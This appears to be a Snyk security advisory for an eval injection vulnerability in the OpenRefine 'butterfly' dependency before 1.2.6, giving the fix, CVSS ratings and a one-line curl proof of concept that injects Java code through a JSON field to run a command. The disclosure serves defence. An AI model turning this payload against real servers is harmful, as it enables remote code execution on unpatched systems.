Eval Injection Affecting org.openrefine.dependencies:butterfly package, versions [,1.2.6)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGOPENREFINEDEPENDENCIES-8304162
  • published 25 Oct 2024
  • disclosed 24 Oct 2024
  • credit Unknown

Introduced: 24 Oct 2024

New CVE NOT AVAILABLE CWE-95 Open this link in a new tab

How to fix?

Upgrade org.openrefine.dependencies:butterfly to version 1.2.6 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection through the parseJSON and getJSON functions. An attacker can execute arbitrary code on the server by supplying crafted input that manipulates the evaluation process.

PoC

curl -H 'Content-Type: application/json;charset=utf-8' --data $'"\\\u200d\\", Packages.java.lang.Runtime.getRuntime().exec(\'gnome-calculator\')) // "' http://localhost:3333/getjsontest

References

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
9.3 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None